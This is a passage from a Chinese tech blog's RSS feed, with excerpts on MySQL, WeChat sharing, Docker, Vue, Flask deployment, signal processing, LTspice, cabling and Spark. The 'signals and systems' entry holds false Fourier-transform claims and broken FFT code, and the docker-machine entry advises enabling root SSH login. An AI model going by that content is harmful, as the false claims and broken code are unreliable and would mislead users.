（1）如果mysql日志中出现 Too many connections的情况，则更改最大连接数。&#xA;查看最大连接数&#xA;show variables like &#39;%max_connections%&#39;; 查看当前的连接数&#xA;show status like &#39;Threads%&#39;; 如果当前运行的线程数大于最大线程数，则更改mysql最大连接数&#xA;set global max_connections=xxxx 进行设置 3.mysql线程死锁&#xA;输入SHOW ENGINE INNODB STATUS\G;出现lock关键字则表示存在线程死锁</description>
    </item>
    <item>
      <title>h5中使用微信分享</title>
      <link>https://bchobby.github.io/posts/918aba0aad91401da46b14d8b01e4b84/</link>
      <pubDate>Tue, 27 Dec 2022 10:25:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/918aba0aad91401da46b14d8b01e4b84/</guid>
      <description>1.需要 绑定域名：&#xA;先登录微信公众平台进入“公众号设置”的“功能设置”里填写“JS接口安全域名”（即访问前端项目对应的域名)。&#xA;2.在项目中引入sdk:&#xA;在需要调用 JS 接口的页面引入如下 JS 文件，（支持https）：http://res.wx.qq.com/open/js/jweixin-1.6.0.js&#xA;3.调用获取验证签名的接口（获取appid,timestamp,nonceStr,signature 等信息）&#xA;获取签名的参数为当前访问页面的地址，需要这样处理：encodeURIComponent(window.location.href.split(‘#’)[0])&#xA;4.通过 config 接口注入权限验证配置:&#xA;wx.config({ debug: true, // 开启调试模式,调用的所有 api 的返回值会在客户端 alert 出来，若要查看传入的参数，可以在 pc 端打开，参数信息会通过 log 打出，仅在 pc 端时才会打印。 appId: &#39;&#39;, // 必填，公众号的唯一标识 timestamp: , // 必填，生成签名的时间戳 nonceStr: &#39;&#39;, // 必填，生成签名的随机串 signature: &#39;&#39;,// 必填，签名 jsApiList: [] // 必填，需要使用的JS接口列表，所有JS接口列表见附录2 }); 5.通过 ready 接口处理成功验证，通过 error 接口处理失败验证&#xA;wx.ready(function(){ // config信息验证后会执行 ready 方法，所有接口调用都必须在 config 接口获得结果之后，config是一个客户端的异步操作，所以如果需要在页面加载时就调用相关接口，则须把相关接口放在 ready 函数中调用来确保正确执行。对于用户触发时才调用的接口，则可以直接调用，不需要放在 ready 函数中。 }); wx.error(function(res){ // config信息验证失败会执行 error 函数，如签名过期导致验证失败，具体错误信息可以打开 config 的debug模式查看，也可以在返回的 res 参数中查看，对于 SPA 可以在这里更新签名。 }); 6.</description>
    </item>
    <item>
      <title>【Simulink】线性离散系统仿真分析-低通数字滤波器</title>
      <link>https://bchobby.github.io/posts/27659b981bf96509c71e09762e609b69/</link>
      <pubDate>Mon, 26 Dec 2022 15:31:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27659b981bf96509c71e09762e609b69/</guid>
      <description>线性离散系统仿真分析&#xA;随着数字信号处理技术的快速发展，尤其是以数字信号处理芯片为核心的数字系统的设计与使用，使得数字信号处理技术得到了广泛的应用。数字信号处理技术具有诸多模拟信号处理技术所不具备的优点，因此在很多领域都开始取代传统的模拟信号处理。下面以数字滤波器系统为例来介绍线性离散系统的仿真技术。&#xA;1.数字滤波器的数学描述&#xA;数字滤波器可以对系统输入的信号进行数字滤波。这里以低通数字滤波器为例说明线性离散系统的仿真技术。低通滤波器可以滤除信号中的高频部分，以获取信号中有用的低频信号，其使用非常广泛。下面给出一个低通数字滤波器的差分方程描述：&#xA;y(n)-1.6y(n -1)+ 0.7y(n - 2) = 0.04u(n)+0.08u(n -1)+ 0.04u(n -2)&#xA;其中u(m)为滤波器的输入，y(n)为滤波器的输出。由线性系统的定义可知，此低通数字滤波器为一线性离散系统。线性离散系统往往在 Z 域进行描述，由滤波器系统的差分方程可获得系统的Z变换域描述：&#xA;2.建立数字滤波器系统模型&#xA;这里使用简单的通信系统说明低通数字滤波器的功能。在此系统中，发送方首先使用高频正弦波对一低频锯齿波进行幅度调制，然后在无损信道中传递此幅度调制信号; 接收方在接收到幅度调制信号后，首先对其进行解调，然后使用低通数字滤波器对解调后的信号进行滤波以获得低频锯齿波信号。&#xA;建立此系统模型所需要的系统模块主要有：&#xA;(I) Sources 模块库中的 Sine Wave 块:用来产生高频载波信号 Carrier 与解调信号Carrierl .&#xA;(2) Sources 模块库中的 Signal Generator 模块: 用来产生低频锯齿波信号 sawtooth。&#xA;(3) Discrete 模块库中的 Discrete Filter 模块:用来表示数字滤波器。&#xA;(4) Math 模块库中的 Product 模块: 用来完成低频信号的调制与解调。&#xA;此外，使用高频正弦波对低频锯齿波信号进行调制时，所采用的调制方法为双边带抑制载波调制: output=inputXcarrier，其中input 为低频信号，carrier 为高频载波信号，output为幅度调制信号。建立数字滤波器系统模型如图所示。&#xA;3，系统模块参数设置，&#xA;在数字滤波器系统模型建立之后，需要对模型中各个系统模块进行如下的参数设置:&#xA;(1)正弦载波信号模块 Carrier 的参数设置:频率 Frequency 为 1000 rad/sec，其余设置为默认值。&#xA;(2)信号发生器模块 Signal Generator 参数设置: Wave form 设置为 sawtooth，幅值设置为 1(默认值)与频率设置为 5。</description>
    </item>
    <item>
      <title>docker多主机管理环境搭建 docker-machine</title>
      <link>https://bchobby.github.io/posts/b22dd67edf21628e96085ec3c45db2fe/</link>
      <pubDate>Mon, 26 Dec 2022 13:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b22dd67edf21628e96085ec3c45db2fe/</guid>
      <description>0 目录 docker-machine安装与配置&#xA;创建machine&#xA;其他命令&#xA;1 概要 docker-machine是管理多主机docker部署还支持在本机执行其他主机docker命令等功能的一个包&#xA;2 docker-machine安装与配置 参考菜鸟教程命令直接安装，成功&#xA;安装完验证是否安装成功，执行命令docker-machine version&#xA;3 创建machine machine指的就是部署docker的host，创建machine就是指通过部署docker-machine的机器，在指定主机上部署docker&#xA;1 要部署docker的主机需要docker-machine的主机可以无密码登入，因此需要复制ssh key，执行ssh-copy-id target_host_ip&#xA;2 手动尝试登入target_host，发现root密码输入对了也ssh登不进去，百度发现可能原因是目标主机禁止使用root登入，而docker-machine在其他主机部署docker需要root权限，所以需要处理保证可以root ssh登入，好像是要改一个配置文件的内容，文件名可以搜下，内容是把PermitRootLogIn xxx改成 PermitRootLogin yes，记不太清了，自己搜下&#xA;3 改完发现ssh 用root登入目标主机一直报错，发现好像还需要安装一个openssl的东西，具体命令如下，需要在client和server都安装&#xA;apt-get install openssl-client openssl-server&#xA;4 这些都弄完就可以安装machine了，命令如下&#xA;docker-machine create --driver generic --generic-ip-address=192.168.1.1 hostaa&#xA;命令功能是给这个ip安装docker，hostaa是安装完后主机名，可以自己指定&#xA;4 其他命令 可以在docker-machine部署的主机登入其他部署docker的主机并执行命令&#xA;eval `docker-machine env hostaab`&#xA;执行结束后，当前控制台会切到目标主机的控制台，然后执行docker命令的效果和在目标主机执行效果是一样的&#xA;前提是需要在/$HOME/.bashrc下配置PS=`[\u@\h \W$(__docker_machine_ps1)]\$`·，这样跳到目标主机后，命令提示符会显示当前跳到的主机的主机名，如果不配这个可能不显示</description>
    </item>
    <item>
      <title>【VUE】实现自动滚动</title>
      <link>https://bchobby.github.io/posts/91390eccf771d56f555343ec36fd2aa4/</link>
      <pubDate>Mon, 26 Dec 2022 13:02:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91390eccf771d56f555343ec36fd2aa4/</guid>
      <description>一、场景 当内容超出元素固定高度时可以进行自动滚动。&#xA;二、实现 首先，给需要自动滚动的元素设定统一的name，方便后续滚动方法获取元素的信息，我这里举例统一用scrollBox：&#xA;&amp;lt;el-card class=&#34;text&#34; name=&#34;scrollBox&#34;&amp;gt; 文本内容 &amp;lt;/el-card&amp;gt; 其次，给需要自动滚动的元素设置样式，要满足高度固定，超出高度时出现滚动栏：&#xA;height: 600px; overflow: auto; 最后，就是自动滚动方法：&#xA;scrollHeight为元素展开的全部高度，scrollTop为滚动滑块所在的位置高度，clientHeight为滚动滑块的高度。&#xA;updateScrollTop() { const scrollList = document.getElementsByName(&#39;scrollBox&#39;) for (let i = 0; i &amp;lt; scrollList.length; i++) { const x = scrollList[i] this.scrollThen(x).then() } }, async scrollThen(x) { do { await new Promise(resolve =&amp;gt; { setTimeout(() =&amp;gt; { resolve() }, 100) }) if (parseFloat(x.clientHeight / x.scrollHeight) &amp;lt; 0.8) { if (x.scrollHeight - x.scrollTop === x.clientHeight) { x.</description>
    </item>
    <item>
      <title>Docker技术原理</title>
      <link>https://bchobby.github.io/posts/81df41f3edae4113d0c3ce00e1baea07/</link>
      <pubDate>Mon, 26 Dec 2022 12:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81df41f3edae4113d0c3ce00e1baea07/</guid>
      <description>一、Docker架构 Docker包括三个基本概念：&#xA;镜像（Image）: Docker 镜像（Image），就相当于是一个 root 文件系统。比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。容器（Container）：镜像（Image）和容器（Container）的关系，就像是面向对象程序设计中的类和实例一样，镜像是静态的定义，容器是镜像运行时的实体。容器可以被创建、启动、停止、删除、暂停等。仓库（Repository）：仓库可看成一个代码控制中心，用来保存镜像。 Docker 容器通过 Docker 镜像来创建，容器与镜像的关系类似于面向对象编程中的对象与类。&#xA;Docker 使用客户端-服务器 (C/S) 架构模式，使用远程API来管理和创建Docker容器。TestContainer就是通过Docker Engine的API来创建和操作容器的。Docker架构模式结构如下图所示：&#xA;下表介绍了架构模式图中涉及到的概念：&#xA;概念说明Docker 镜像(Images)Docker 镜像是用于创建 Docker 容器的模板，比如 Ubuntu 系统。Docker 容器(Container)容器是独立运行的一个或一组应用，是镜像运行时的实体。Docker 客户端(Client)Docker 客户端通过命令行或者其他工具使用 Docker SDK (https://docs.docker.com/develop/sdk/) 与 Docker 的守护进程通信。Docker 主机(Host)一个物理或者虚拟的机器用于执行 Docker 守护进程和容器。Docker RegistryDocker 仓库用来保存镜像，可以理解为代码控制中的代码仓库。Docker Hub(https://hub.docker.com) 提供了庞大的镜像集合供使用。一个 Docker Registry 中可以包含多个仓库（Repository）；每个仓库可以包含多个标签（Tag）；每个标签对应一个镜像。通常，一个仓库会包含同一个软件不同版本的镜像，而标签就常用于对应该软件的各个版本。我们可以通过 &amp;lt;仓库名&amp;gt;:&amp;lt;标签&amp;gt; 的格式来指定具体是这个软件哪个版本的镜像。如果不给出标签，将以 latest 作为默认标签。Docker MachineDocker Machine是一个简化Docker安装的命令行工具，通过一个简单的命令行即可在相应的平台上安装Docker，比如VirtualBox、 Digital Ocean、Microsoft Azure。 二、Docker 镜像 我们都知道，操作系统分为 内核 和 用户空间。对于 Linux 而言，内核启动后，会挂载 root文件系统为其提供用户空间支持。而 Docker 镜像（Image），就相当于是一个 root文件系统。比如官方镜像 ubuntu:18.</description>
    </item>
    <item>
      <title>[Ubuntu] [Gunicorn] 部署 flask-web项目 无反向代理 步骤记录</title>
      <link>https://bchobby.github.io/posts/cd58fdd3bbedb73dd29f3675fa1aa5a4/</link>
      <pubDate>Mon, 26 Dec 2022 08:51:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd58fdd3bbedb73dd29f3675fa1aa5a4/</guid>
      <description>目录 系统环境python环境WEB环境 系统环境 sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade #安装相关依赖 sudo apt-get install build-essential python-dev python-setuptools python-pip python-smbus sudo apt-get install build-essential libncursesw5-dev libgdbm-dev libc6-dev sudo apt-get install zlib1g-dev libsqlite3-dev tk-dev sudo apt-get install libssl-dev openssl sudo apt-get install libffi-dev python环境 #获取python wget https://www.Python.org/ftp/python/3.10.0/Python-3.10.0.tgz #解压 并进入目录 tar -zxvf Python-3.10.0.tgz cd Python-3.10.0 # 编译安装(有permission相关报错的话命令之前加上 sudo) ./configure --prefix=/usr/local/python3 make make install #创建软连接(不建议覆盖ubuntu自带的2.x版本的python，有依赖问题) ln -s /usr/local/python3/bin/python3 /usr/bin/python3 ln -s /usr/local/python3/bin/pip3 /usr/bin/pip3 #为flask创建专属环境 pip3 install virtualenv cd flask项目目录 #创建虚拟环境 virtualenv 虚拟环境名 #激活 source 虚拟环境名/bin/activate #通过requirements.</description>
    </item>
    <item>
      <title>信号与系统问题解答</title>
      <link>https://bchobby.github.io/posts/5a937cde080262047f727bf27a1ad951/</link>
      <pubDate>Mon, 26 Dec 2022 08:10:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a937cde080262047f727bf27a1ad951/</guid>
      <description>（1）方波序列、正弦波序列(不同频率的，单一的、混合的)、高斯序列，这几种类型的信号做傅里叶变换，求仿真频谱和理论结算结果。对二者比对验证并分析误差和导致误差的原因；&#xA;（2）利用N点复数序列计算两个N点实序列的FFT；利用N点复数序列计算2N点的实序列&#xA;1.方波序列的傅里叶变换结果是一条直线，斜率为2πf，截距为0。其中f是方波的频率。&#xA;正弦波序列的傅里叶变换结果是一条直线，斜率为2πf，截距为0。其中f是正弦波的频率。&#xA;如果是不同频率的正弦波序列，傅里叶变换结果是多条直线，斜率和截距都为0，每条直线对应一个频率。&#xA;如果是混合的正弦波序列，傅里叶变换结果是多条直线，斜率和截距都为0，每条直线对应一个频率。&#xA;高斯序列的傅里叶变换结果是一个高斯函数。&#xA;当进行仿真时，需要通过计算机程序模拟信号的变化，然后计算傅里叶变换。这样得到的结果就是仿真频谱。&#xA;理论结果是通过数学计算得到的。比较仿真频谱和理论结果时，可以通过观察频谱的形状和大小，分析频谱的误差和导致误差的原因。&#xA;通常情况下，仿真频谱和理论结果会存在一定的误差。&#xA;这个误差可能是由于计算机程序的误差或者是由于数值近似造成的。要想减小误差，可以使用更精确的计算机程序，或者使用更小的步长进行计算。&#xA;2.计算N点复数序列的FFT，可以使用Fast Fourier Transform (FFT)算法。FFT是一种用于计算复数序列傅里叶变换的快速算法。&#xA;使用FFT计算N点复数序列的FFT，可以使用以下代码：&#xA;import numpy as np def fft(x): N = len(x) if N &amp;lt;= 1: return x even = fft(x[0::2]) odd = fft(x[1::2]) T = [np.exp(-2jnp.pik/N)*odd[k] for k in range(N//2)] return [even[k] + T[k] for k in range(N//2)] + [even[k] - T[k] for k in range(N//2)] 计算两个N点实序列的FFT，可以使用以下代码：&#xA;import numpy as np def fft(x, y): N = len(x) X = fft(x) Y = fft(y) return [X[k]*Y[k] for k in range(N)] 计算2N点的实序列的FFT，可以使用以下代码：</description>
    </item>
    <item>
      <title>module is not defined的原因</title>
      <link>https://bchobby.github.io/posts/bea376a5bc2b266ccbe11e692e7ec899/</link>
      <pubDate>Mon, 26 Dec 2022 04:30:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bea376a5bc2b266ccbe11e692e7ec899/</guid>
      <description>&#34;module is not defined&#34; 这个错误的原因通常是因为你在 JavaScript 代码中使用了 module 这个变量，但是没有在代码之前声明它。&#xA;在 JavaScript 中，module 不是一个内置的关键字，而是在使用某些模块加载器(如 CommonJS 和 AMD)时被定义的一个变量。如果你想在你的代码中使用 module 变量，那么你必须在使用之前声明它。&#xA;例如，你可以在你的代码开头使用如下代码声明 module 变量：&#xA;var module; 或者，你也可以使用以下代码在你的代码中声明和初始化 module 变量：&#xA;var module= {}; 或者，你也可以使用以下代码在你的代码中声明和初始化 module 变量：&#xA;var module = { exports: {} }; 这样，你就可以在你的代码中使用 module 变量了。&#xA;有时，&#34;module is not defined&#34; 错误也可能是因为你在使用某些模块加载器(如 CommonJS 和 AMD)时忘记了在代码之前加载这些模块加载器。在这种情况下，你需要在你的代码之前引入这些模块加载器，才能在你的代码中使用 module 变量。</description>
    </item>
    <item>
      <title>python对excel删除指定行</title>
      <link>https://bchobby.github.io/posts/147949c81ac2f7140dba299b43aa42bf/</link>
      <pubDate>Sun, 25 Dec 2022 22:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/147949c81ac2f7140dba299b43aa42bf/</guid>
      <description>可以使用Python的第三方库pandas来操作Excel文件。&#xA;首先，需要使用pandas的read_excel()函数读取Excel文件：&#xA;import pandas as pd df = pd.read_excel(&#39;文件路径/文件名.xlsx&#39;) 然后，可以使用df.drop()函数删除指定行：&#xA;# 删除第3行 df = df.drop(2) # 删除第2行到第4行 df = df.drop(range(1, 4)) 最后，使用df.to_excel()函数将修改后的数据写回到Excel文件中：&#xA;df.to_excel(&#39;文件路径/文件名.xlsx&#39;, index=False) 注意，删除操作是直接在原数据上进行的，如果希望保留原数据的话，需要先将原数据复制一份再进行删除操作。&#xA;希望这能帮到你！</description>
    </item>
    <item>
      <title>如何查找项目的源代码</title>
      <link>https://bchobby.github.io/posts/14034e53a6afa30b543446e0300f169a/</link>
      <pubDate>Sun, 25 Dec 2022 17:05:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14034e53a6afa30b543446e0300f169a/</guid>
      <description> 如何查找项目的源代码 前言一 github二 CSDN三 博客园二 前言 平时科研中，为了解决某个问题，我们需要写大量的代码，有的动辄上千行，自己编写显然不太现实。那么怎么在网上找到我们所需要的源代码呢？&#xA;一 github 进入首页&#xA;在搜索框中输入要搜索的内容&#xA;随便点进去一个搜索结果看一下&#xA;上半部分是代码，下半部分是代码的说明&#xA;如果觉得代码可以的话，可以直接下载代码：下载下来是一个zip格式的压缩包&#xA;搜索时的技巧：筛选规则&#xA;选择特定的编程语言：比如python&#xA;找精品的项目：搜索时添加“Awesome&#34;&#xA;这里就搜索到了17个精品项目&#xA;对星标进行筛选：&#xA;比如：对大于100星的进行筛选。搜索：remote sensing stars:&amp;gt;=100&#xA;筛选在问题描述中出现”remote sensing“关键词的项目&#xA;“remote sensing stars:&amp;gt;=100 in:description”&#xA;要找中文资源,中国人写的代码：”remote sensing stars:&amp;gt;=100 location:China&#34;&#xA;二 CSDN 打开首页进行搜索&#xA;点击下载，就出现一些可供下载的文本或者代码&#xA;点进去下载，里面的资源是需要花钱的&#xA;但是可以看其他不需要付费的资源&#xA;这些文本和博客是可以直接看的&#xA;三 博客园 如上图，可以在首页进行搜索，用中文或者英文搜索都可以。&#xA;二 </description>
    </item>
    <item>
      <title>（一）LTspice简介</title>
      <link>https://bchobby.github.io/posts/671ef6664ae060fc6ebb70fcc28b7768/</link>
      <pubDate>Sun, 25 Dec 2022 15:52:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/671ef6664ae060fc6ebb70fcc28b7768/</guid>
      <description>文章目录 前言一、举例1.1、RC滤波1.2、仿真结果 二、软件安装总结 前言 LTspice®是一款高性能SPICE仿真器软件，包括原理图捕获图形界面。可探测原理图以产生仿真结果，通过LTspice内置波形查看器轻松探索。与其他SPICE解决方案相比，LTspice的增强功能和模型改善了模拟电路仿真。&#xA;有时候我们可以算出一些电路的传递函数，但是苦于没有合适的工具来画波特图，那么我们就可以通过LTspice画已知传递函数的波特图，我们还可以用来画电路的阻抗特性曲线图。&#xA;当然除了LTspice就可以通过传递函数画出波特图外，matlab也可以画，相对来说LTspice比较简单粗暴一点。&#xA;一、举例 1.1、RC滤波 比如下图最简单的RC低通滤波器，截止频率是&#xA;电阻的阻抗是R，电容的容抗是&#xA;,为什么会有一个虚数j呢，原因是电容作为无功元件，本身不消耗功率，在频率w的交流电作用下将会出现电流相位超前电压相位90°的情况，因此引入j来表示这种相位关系，准确的来说电容的容抗应该为== -jwc==&#xA;令s=jw,w是频率，j包含了相位信息，所以以上的传递函数等于1/(1+sRC)&#xA;1.2、仿真结果 然后我们在软件中输入我们求出的传递函数，从而画出波特图，以单位为1的交流信号进行激励，得出响应。&#xA;实线是幅频特性，虚线是相频特性求出的截止频率也是非常准确的，有的同学就说了，那我直接放置元器件进行仿真不久行了，是的，结果是一样的，没有说哪种不行，只要能达到我们的目的即可，但是我们做电路分析一定要有理论支撑，不是说仿完就完了，我们要有公式作为理论基础，我们在仿真之前，一定要求出电路的传递函数，这样我们能准确定位问题，并且能够修改参数达到我们的目的，而不是乱改一通。&#xA;那么上面只是举个例子，告诉大家有这么一个功能，后续将告诉大家如何通过传递函数或者电路来进行仿真&#xA;二、软件安装 那么他的下载网址如下，他是ADI公司出品的一款电路仿真软件，号称免费，无限制，可以说很良心了。&#xA;https://www.analog.com/cn/design-center/design-tools-and-calculators/ltspice-simulator.html&#xA;那么打开网址我们可以找到软件的下载入口，我们下载64位的&#xA;那么下拉我们可以看到，还有相应的教学，很贴心&#xA;那么我们下载安装包好后，无脑安装就可以了。&#xA;那么装好之后打开软件就是下图这个界面，可以说非常的质朴，因为这是一款很老的软件了&#xA;经典并且功能强大~&#xA;总结 主要是adi所有的常用器件都有模型，比multisim更有针对性。&#xA;实践出真实，时间出成果&#xA;LTspice学习视频1：https://www.bilibili.com/video/BV1Sy4y1m73e/?spm_id_from=333.999.0.0&#xA;LTspice官方教程:https://www.bilibili.com/video/BV14A411P7ku?p=1&amp;amp;vd_source=db313bdcb497719f6656b04c6ee88fd6&#xA;LTspice电路仿真从入门到精通、LTspice视频教程、LTspice中文教程:https://www.bilibili.com/video/BV1Sy4y1m73e/?spm_id_from=333.788.top_right_bar_window_history.content.click&amp;amp;vd_source=db313bdcb497719f6656b04c6ee88fd6</description>
    </item>
    <item>
      <title>Vue项目里如何使用路由（一）</title>
      <link>https://bchobby.github.io/posts/d34b1e47f965dbcfc169fa3dbc13aafa/</link>
      <pubDate>Sun, 25 Dec 2022 14:38:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d34b1e47f965dbcfc169fa3dbc13aafa/</guid>
      <description>1.路由作用： 在我看来路由就是用来切换场景的，类似于tab栏切换的效果。但是它在一个页面里切换业务场景时整体页面不刷新页面，用户体验更好 数据传递容易, 开发效率高。&#xA;2.创建路由 2.1首写要清楚在vue中创建路由会出现以下两个文件夹 views文件是创建你切换页面要显示的组件&#xA;2.2路由创建有2种方式 安装路由依赖包---vue-router&#xA;1.1---创建vue项目时，直接选择vue-router安装路由&#xA;1.2---npm安装----npm install vue-router&#xA;要想知道自己是否安装成功可以打开package.json文件是否出现以下圈出内容&#xA;第一种是系统自动帮你配置好了，第二种是全程需要自己手动配置&#xA;以下创建路由的步骤是针对第二种手动&#xA;2.3导入路由依赖包 import { createRouter, createWebHashHistory } from &#39;vue-router&#39; 在以下文件中导入&#xA;2.4配置路由(核心)----路由配置文件(也是在以上的文件中配置) 配置规则&#xA;路由对象实例化&#xA;导出路由配置文件&#xA;const routes = [ { path: &#39;路由路径&#39;, name: &#39;路由名称&#39;, component: 路径对象对应的组件对象 } ] 2.5配置路由地址与组件的映射关系 导入页面组件，即你在views文件夹中创建的组件&#xA;此段代码写在上一步配置规则前面&#xA;2.6导入路由配置文件和挂载路由对象 在main.js中精选导入和挂载&#xA;以上路由已经配置完成了&#xA;3.使用路由 3.1将根组件里面的a标签改为router-link，href属性改为to属性&#xA;3.2在想要实现页面组件的地方 写上router-view标签&#xA;4.效果 点击上面按钮，下面内容进行切换</description>
    </item>
    <item>
      <title>第二讲：网线的制作方法及步骤</title>
      <link>https://bchobby.github.io/posts/7f3860ffdd3ff1bc0664ddad2cd2a726/</link>
      <pubDate>Sun, 25 Dec 2022 14:09:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f3860ffdd3ff1bc0664ddad2cd2a726/</guid>
      <description>这几年《网络搭建与应用》专业技能大赛所需网线需要参赛学生自己制作，所以今天讲讲网线的制作方法及步骤。&#xA;所要原料：双绞线　RJ45水晶头　所需工具：双绞线压线钳　双绞线测试仪&#xA;在制作网线之前，我们先来了解双绞线的连接方法：&#xA;双绞线的连接方法有两种：直通连接和交叉连接。&#xA;直通连接是将双绞线的两端分别都依次按白橙、橙、白绿、蓝、白蓝、绿、白棕、棕色的顺序（这是国际EIA/TIA 568B标准）压入RJ45水晶头内。这种方法制作的网线叫直通线。&#xA;交叉连接是将双绞线的一端按国际标准EIA/TIA 568B标准压入RJ45水晶头内；另一端将芯线依次按白绿、绿、白橙、蓝、白蓝、橙、白棕、棕色的顺序（这是国际EIA/TIA 568A标准）压入RJ45水晶头内。这种方法制作的网线叫交叉线。&#xA;UTP线缆的使用范围&#xA;直通线使用范围&#xA;交叉线使用范围&#xA;PC-Hub&#xA;PC-PC&#xA;Hub普通接口-Hub级联接口&#xA;Hub普通接口- Hub普通接口&#xA;PC-交换机&#xA;PC-路由器&#xA;路由器-交换机&#xA;路由器-路由器&#xA;交换机普通接口-交换机UPLINK口&#xA;交换机普通接口-交换机普通接口&#xA;交换机UPLINK口-交换机UPLINK口&#xA;网线制作方法图解：&#xA;1、我们先准备好需要的材料。取一条适当长度的双绞线；若干个RJ45水晶头；一把双绞线压线钳；还有双绞线测试仪。&#xA;2、用压线钳将双绞线一端的外皮剥去3CM，然后按EIA/TIA 568B标准顺序将线芯撸直并拢。&#xA;3、将芯线放到压线钳切刀处，8根线芯要在同一平面上并拢，而且尽量直，留下一定的线芯长度约1.5CM处剪齐。&#xA;4、将双绞线插入RJ45水晶头中，插入过程均衡力度直到插到尽头。并且检查8根线芯是否已经全部充分、整齐地排列在水晶头里面。&#xA;5、用压线钳用力压紧水晶头，抽出即可。&#xA;6、一端的网线就制作好了，同样方法制作别一端网线。最后把网线的两头分别插到双绞线测试仪上，打开测试仪开关测试指示灯亮起来。如果正常网线，两排的指示灯都是同步亮的，如果有此灯没同步亮，证明该线芯连接有问题，应重新制作。&#xA;7、另外需要按照EIA/TIA 568A标准的，同样的方法只是线芯的排列顺序不一样了。&#xA;8、压线的细节标准；双绞线线芯完全与水晶头接触，并有水晶头卡住双绞线的外皮。就此一条出色的网线制作完成。&#xA;注意事项：剪线芯时，如果平行线芯的部分过长，芯线之间的相互干扰会增强，影响通信效率；如果太短，水晶头的金属片不能完全接触到芯线，容易导致接触不良。&#xA;特别注意：目前《网络搭建与应用》专业技能大赛所用设备连接全部用的是T568B标准做的直通线，所以大家重点练习T568B标准做的直通线就行了。&#xA;附：网络制作视频&#xA;网线制作视频</description>
    </item>
    <item>
      <title>大数据技术之SparkCore</title>
      <link>https://bchobby.github.io/posts/61c94e1d8b84dba843b2fc2a8fae7ccc/</link>
      <pubDate>Sun, 25 Dec 2022 13:50:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61c94e1d8b84dba843b2fc2a8fae7ccc/</guid>
      <description>文章开篇先简单介绍一下SparkCore： Spark Core是spark的核心与基础，实现了Spark的基本功能，包含任务调度，内存管理，错误恢复与存储系统交互等模块&#xA;Spark Core中包含了对Spark核心API——RDD API(弹性分布式数据集)的定义：RDD表示分布在多个计算节点上可以并行操作的元素集合，是spark的核心抽象。&#xA;第1章 RDD概述 1.1 什么是RDD&#xA;RDD（Resilient Distributed Dataset）叫做分布式数据集，是Spark中最基本的数据抽象。代码中是一个抽象类，它代表一个不可变、可分区、里面的元素可并行计算的集合。&#xA;1.2 RDD的属性&#xA;1)一组分区（Partition），即数据集的基本组成单位;&#xA;2)一个计算每个分区的函数;&#xA;3)RDD之间的依赖关系;&#xA;4)一个Partitioner，即RDD的分片函数;&#xA;5)一个列表，存储存取每个Partition的优先位置（preferred location）。&#xA;1.3 RDD特点&#xA;RDD表示只读的分区的数据集，对RDD进行改动，只能通过RDD的转换操作，由一个RDD得到一个新的RDD，新的RDD包含了从其他RDD衍生所必需的信息。RDDs之间存在依赖，RDD的执行是按照血缘关系延时计算的。如果血缘关系较长，可以通过持久化RDD来切断血缘关系。&#xA;1.3.1 分区&#xA;RDD逻辑上是分区的，每个分区的数据是抽象存在的，计算的时候会通过一个compute函数得到每个分区的数据。如果RDD是通过已有的文件系统构建，则compute函数是读取指定文件系统中的数据，如果RDD是通过其他RDD转换而来，则compute函数是执行转换逻辑将其他RDD的数据进行转换。&#xA;1.3.2 只读&#xA;如下图所示，RDD是只读的，要想改变RDD中的数据，只能在现有的RDD基础上创建新的RDD。&#xA;由一个RDD转换到另一个RDD，可以通过丰富的操作算子实现，不再像MapReduce那样只能写map和reduce了，如下图所示。&#xA;RDD的操作算子包括两类，一类叫做transformations，它是用来将RDD进行转化，构建RDD的血缘关系；另一类叫做actions，它是用来触发RDD的计算，得到RDD的相关计算结果或者将RDD保存的文件系统中。下图是RDD所支持的操作算子列表。&#xA;1.3.3 依赖&#xA;RDDs通过操作算子进行转换，转换得到的新RDD包含了从其他RDDs衍生所必需的信息，RDDs之间维护着这种血缘关系，也称之为依赖。如下图所示，依赖包括两种，一种是窄依赖，RDDs之间分区是一一对应的，另一种是宽依赖，下游RDD的每个分区与上游RDD(也称之为父RDD)的每个分区都有关，是多对多的关系。&#xA;1.3.4 缓存&#xA;如果在应用程序中多次使用同一个RDD，可以将该RDD缓存起来，该RDD只有在第一次计算的时候会根据血缘关系得到分区的数据，在后续其他地方用到该RDD的时候，会直接从缓存处取而不用再根据血缘关系计算，这样就加速后期的重用。如下图所示，RDD-1经过一系列的转换后得到RDD-n并保存到hdfs，RDD-1在这一过程中会有个中间结果，如果将其缓存到内存，那么在随后的RDD-1转换到RDD-m这一过程中，就不会计算其之前的RDD-0了。&#xA;在这里插入图片描述&#xA;1.3.5 CheckPoint&#xA;虽然RDD的血缘关系天然地可以实现容错，当RDD的某个分区数据失败或丢失，可以通过血缘关系重建。但是对于长时间迭代型应用来说，随着迭代的进行，RDDs之间的血缘关系会越来越长，一旦在后续迭代过程中出错，则需要通过非常长的血缘关系去重建，势必影响性能。为此，RDD支持checkpoint将数据保存到持久化的存储中，这样就可以切断之前的血缘关系，因为checkpoint后的RDD不需要知道它的父RDDs了，它可以从checkpoint处拿到数据。&#xA;第2章 RDD编程&#xA;2.1 编程模型&#xA;在Spark中，RDD被表示为对象，通过对象上的方法调用来对RDD进行转换。经过一系列的transformations定义RDD之后，就可以调用actions触发RDD的计算，action可以是向应用程序返回结果(count, 